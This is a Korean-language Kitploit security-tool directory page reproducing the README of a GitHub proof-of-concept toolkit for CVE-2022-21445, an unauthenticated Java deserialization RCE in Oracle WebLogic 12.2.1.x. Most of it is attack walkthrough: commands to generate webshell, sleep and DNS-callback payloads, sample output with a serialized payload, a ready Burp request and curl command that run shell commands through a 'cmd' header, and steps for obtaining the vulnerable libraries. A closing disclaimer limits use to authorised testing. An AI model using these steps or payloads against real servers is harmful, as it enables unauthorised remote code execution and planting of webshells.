Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2022-21445 — Oracle Weblogic 12.2.1.X의 CVE-2022-21445 익스플로잇 | Kitploit
도구/GitHubGitHub/necr00/cve-2022-21445
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed Teaming
GitHubnecr00/cve-2022-21445

CVE-2022-21445

Oracle Weblogic 12.2.1.X의 CVE-2022-21445 익스플로잇

저장소 보기
515개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2022-21445 익스플로잇 - PoC

이 툴킷은 Oracle ADF Faces와 함께 실행되는 Oracle WebLogic Server 12.2.1.x에 영향을 주는 심각한 Java 역직렬화 취약점인 CVE-2022-21445용 익스플로잇 페이로드를 생성합니다.

이 결함은 RemoteApplicationResourceLoader 구성 요소에 존재하며, 공격자가 안전하지 않은 역직렬화를 트리거하는 특수하게 조작된 HTTP GET 요청을 보낼 수 있게 합니다. 성공적으로 악용하면 대상 서버에서 인증 없는 원격 코드 실행(RCE)이 발생할 수 있습니다.

사전 요구 사항

요구 사항버전용도
Python3.6+익스플로잇 스크립트 실행
JDK1.8 (8u202 권장)Java 페이로드 생성기 컴파일 및 실행
Weblogic12.2.1.X취약한 버전

설정 가이드

JDK 1.8 설치

페이로드는 대상의 Java 런타임과 일치하도록 반드시 JDK 1.8로 컴파일되어야 합니다.

root@kitploit:~
# Use SDKMAN:
sdk install java 8.0.402-tem

# Select the java 8
sudo update-alternatives --config java
root@kitploit:~
java -version    # Should show 1.8.x
javac -version   # Should show 1.8.x

사용법

웹셸(Webshell) 페이로드 생성

cmd HTTP 헤더에서 명령을 읽고 응답 본문에 출력을 반환하는 페이로드를 생성합니다.

root@kitploit:~
python3 exploit.py --version 12.2.1.4 --type webshell

출력:

root@kitploit:~
[*] Target WebLogic version: 12.2.1.4
[*] Payload type: webshell
[*] Using JARs from: libs/12.2.1.4
[+] Step 1/4: Detecting ClassIdentity hash for 12.2.1.4...
[*] Detected ClassIdentity hash: 423B02C050017B24DB10DFF759AA56BF
[+] Step 2/4: Generating webshell payload class...
[+] Step 3/4: Compiling payload classes...
[+] Step 4/4: Generating serialized payload...

======================================================================
  PAYLOAD GENERATED SUCCESSFULLY
======================================================================

[*] Payload type: webshell
[*] Payload length: 2156 characters

──────────────────────────────────────────────────────────────────────
RAW PAYLOAD:
──────────────────────────────────────────────────────────────────────
H4sIAAAAAAAAAA%3D%3DlVZb...

──────────────────────────────────────────────────────────────────────
BURP REPEATER REQUEST:
──────────────────────────────────────────────────────────────────────
GET /app/afr/foo/remote/H4sIAAAAAAAAAA%3D%3DlVZb.../ HTTP/1.1
Host: target:port
cmd: whoami
Connection: close

──────────────────────────────────────────────────────────────────────
CURL COMMAND:
──────────────────────────────────────────────────────────────────────
curl -k -H "cmd: id" "https://target:port/app/afr/foo/remote/H4sI.../"

Sleep(블라인드) 페이로드 생성

블라인드 테스트용 — 응답이 지연되면 코드 실행을 확인할 수 있습니다.

root@kitploit:~
python3 exploit.py --version 12.2.1.4 --type sleep --sleep-time 10

페이로드를 전송하고 응답 시간을 측정합니다:

  • 약 10초: 코드 실행 확인됨
  • 즉시(< 1초): 페이로드가 실행되지 않음 (버전 불일치, 패치 적용됨, 또는 인코딩 문제)

DNS 콜백 페이로드 생성

Burp Collaborator 또는 유사한 도구를 사용한 대역외(out-of-band) 확인용입니다.

root@kitploit:~
python3 exploit.py --version 12.2.1.4 --type dns \
    --dns-host cve-21445.abc123.oastify.com

대상 지정

--target을 사용하여 올바른 호스트와 컨텍스트 경로가 포함된 형식화된 출력을 얻습니다:

root@kitploit:~
python3 exploit.py --version 12.2.1.4 --type webshell \
    --target http://10.0.0.50:8002/test

이렇게 하면 올바른 호스트와 경로로 Burp 요청 및 curl 명령이 형식화됩니다:

root@kitploit:~
GET /test/afr/foo/remote/PAYLOAD/ HTTP/1.1
Host: 10.0.0.50:8002
cmd: whoami

페이로드를 파일로 저장

root@kitploit:~
python3 exploit.py --version 12.2.1.4 --type webshell \
    --output payload.txt

익스플로잇 전송

Burp Suite 사용

  1. 스크립트를 실행하여 페이로드를 생성합니다
  2. 출력에서 BURP REPEATER REQUEST 섹션을 복사합니다
  3. Burp Suite → Repeater를 열고 요청을 붙여넣습니다
  4. 대상 호스트와 포트를 설정합니다
  5. Send를 클릭합니다
  6. 웹셸의 경우: cmd 헤더 값을 변경하여 다른 명령을 실행합니다 이미지

문제 해결

Jar 파일이 손상된 경우, 아래 지침에 따라 원하는 Weblogic 버전을 설치하고 관련 Jars를 추출하십시오.

공식 FMW Infrastructure Docker 이미지에서 필요한 Oracle JAR를 추출합니다.

root@kitploit:~
# Create the libs directory
mkdir -p libs/12.2.1.3
#or
mkdir -p libs/12.2.1.3

# Pull the Oracle FMW Infrastructure 12.2.1.3 or 12.2.1.4 image
# Note: You may need to accept the license at container-registry.oracle.com
docker pull container-registry.oracle.com/middleware/fmw-infrastructure:12.2.1.3.0
#OR
docker pull container-registry.oracle.com/middleware/fmw-infrastructure:12.2.1.4.0

#Let's say we need the JARs of 12.2.1.4 version (in case of 12.2.1.3 just replace .4 with .3 in the commands)

# Create a temporary container (don't need to start it)
docker create --name fmw1214_temp container-registry.oracle.com/middleware/fmw-infrastructure:12.2.1.4.0

# Extract the required JARs
docker cp fmw1214_temp:/u01/oracle/coherence/lib/coherence.jar ./libs/12.2.1.4/coherence.jar

docker cp fmw1214_temp:/u01/oracle/oracle_common/modules/oracle.adf.view/adf-richclient-api-11.jar ./libs/12.2.1.4/adf-richclient-api-11.jar

docker cp fmw1214_temp:/u01/oracle/oracle_common/modules/oracle.adf.view/adf-richclient-impl-11.jar ./libs/12.2.1.4/adf-richclient-impl-11.jar

docker cp fmw1214_temp:/u01/oracle/oracle_common/modules/oracle.adf.view/trinidad-api.jar ./libs/12.2.1.4/trinidad-api.jar

docker cp fmw1214_temp:/u01/oracle/oracle_common/modules/oracle.adf.view/trinidad-impl.jar ./libs/12.2.1.4/trinidad-impl.jar

참고: javax.mail JAR(MIME base64 인코딩에 필요)은 첫 실행 시 Maven Central에서 자동으로 다운로드됩니다. 수동 설정이 필요 없습니다. 웹셸 페이로드는 순수 리플렉션을 사용하며 컴파일 시점에 weblogic.jar가 필요하지 않습니다.


고지 사항

이 도구는 승인된 보안 테스트 전용입니다. 소유하지 않은 시스템을 테스트하기 전에 항상 서면 허가를 받으십시오. 저자는 오용에 대해 책임을 지지 않습니다. 컴퓨터 시스템에 대한 무단 접근은 불법입니다.


참고 자료

  • Oracle 중요 패치 갱신 권고 - 2022년 4월
  • CVE-2022-21445 - NVD
  • hienkiet/CVE-2022-21445-for-12.2.1.3.0-Weblogic
도구 다운로드